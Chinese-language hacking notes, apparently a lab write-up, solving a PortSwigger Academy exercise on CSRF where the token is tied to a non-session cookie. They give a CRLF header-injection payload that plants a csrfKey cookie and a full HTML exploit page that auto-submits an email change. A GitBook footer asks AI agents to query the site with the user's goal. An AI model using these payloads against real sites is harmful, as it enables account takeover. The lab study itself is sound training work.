> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-token-tied-to-non-session-cookie.md).

# 令牌绑定 Cookie 但未绑定会话的 CSRF

令牌绑定 Cookie 但未绑定会话的 CSRF 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复 contex

### 令牌绑定到非会话 Cookie 的 CSRF

更改电子邮件功能存在 CSRF 漏洞。它使用 chips，但它们并未完全集成到会话机制中。提供的账户： `wiener:peter` 和 `carlos:montoya`.

### 关键思路

* 有一个 `csrfKey` cookie 和一个 `CSRF` 用于更改电子邮件的查询参数。两个值是“同步”的，但是 **与会话无关**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16aaa91a0b0a27071ff4f82c2c0e55da74a88fd2%2F%7B4EAE5882-06C2-443F-BF68-1DBADFD5E753%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 通过复制这对（`csrfKey`, `CSRF`）从一个账户到另一个账户，可以更改一个受害者的电子邮件 **而无需** 将其与会话关联起来。
* 搜索字段会将上一次搜索保存在会话 cookie（`上次 searchTerm`).

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bedd6c9672e903f2a2bb82e6e5158475656c882d%2F%7BB09172D1-F6D6-4C09-B7A5-94955FAB9E31%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4f2d37c5bb2e49f857fac34e4b5658cafb83bd4%2F%7B2A94BC23-796D-4C6E-8059-0366F7FDBA44%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 技术细节（通过研究进行 CRLF 注入）

* 可以 **注入请求头** 通过搜索来强制浏览器设置任意 cookie。

像下面这样的简单字符串 `hello csrfKey=aZCI...` 不会被解析。

```
hello csrfKey=aZCI65XauInHYlpP2MXHzMAssSvvyn74
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e9dfccf19e7765e3dc89e5c64e94a62098ebd9e%2F%7B644F54F1-925E-4763-8BF0-1E5F8495A8D3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

另一方面，配合 **回车 + 换行** (`\r` = `%0d`, `\n` = `%0a`):

```
man ascii
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9697c666becf1cac218b6ff0ca0132f64f6e38c8%2F%7BB003AB2B-730E-4E6E-9CD6-5AF4BF4581D2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

工作示例：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e3490aed7a82a309a2f99ccd9b88aa474b8619b5%2F%7BA43BE1B2-0CCA-4B25-B704-3E48E1DA338C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```
hello%0d%0aSet-Cookie:%20csrfKey=a
```

→ 被解释为一个 **Set-Cookie** 在响应端。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4690927915ef2afa16b2d7575fe6bff6424a64aa%2F%7B6A50FA0C-C5E0-4602-A403-24866AA465C4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

对于跨站上下文，请指定 `SameSite=none` 以便 cookie 在利用时随后的请求中被携带。

示例（在地址/搜索请求栏中）：

{% code overflow="wrap" %}

```
hello%0d%0aSet-Cookie:%20csrfKey%3dGI0PraUBw0m976F6vn51dbYYzh6EtwvZ%3b%20SameSite%3dnone

hello
Set-Cookie: csrfKey=GI0PraUBw0m976F6vn51dbYYzh6EtwvZ; SameSite=none
```

{% endcode %}

### 托管操作员

1. **强制设置** 该 `csrfKey` 通过向搜索页面发起图片请求，在受害者中设置 cookie（该页面会重写头部）：

```html
<form class="login-form" name="change-email-form" action="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/my-account/change-email" method="POST">
      <input "hidden" name="email" value="hacked@jord4n.pro">
      <input required="" type="hidden" name="csrf" value="GI0PraUBw0m976F6vn51dbYYzh6EtwvZ">
</form>

<img  src="https://0a810098043d26f1806a030e0062002e.web-security-academy.net/?search=hello%0d%0aSet-Cookie:%20csrfKey%3d9Okbeh77JZpcZA9ObPqnLuR95v3L40oc%3b%20SameSite%3dnone" onerror="document.forms[0].submit();">
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/csrf/csrf-token-tied-to-non-session-cookie.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
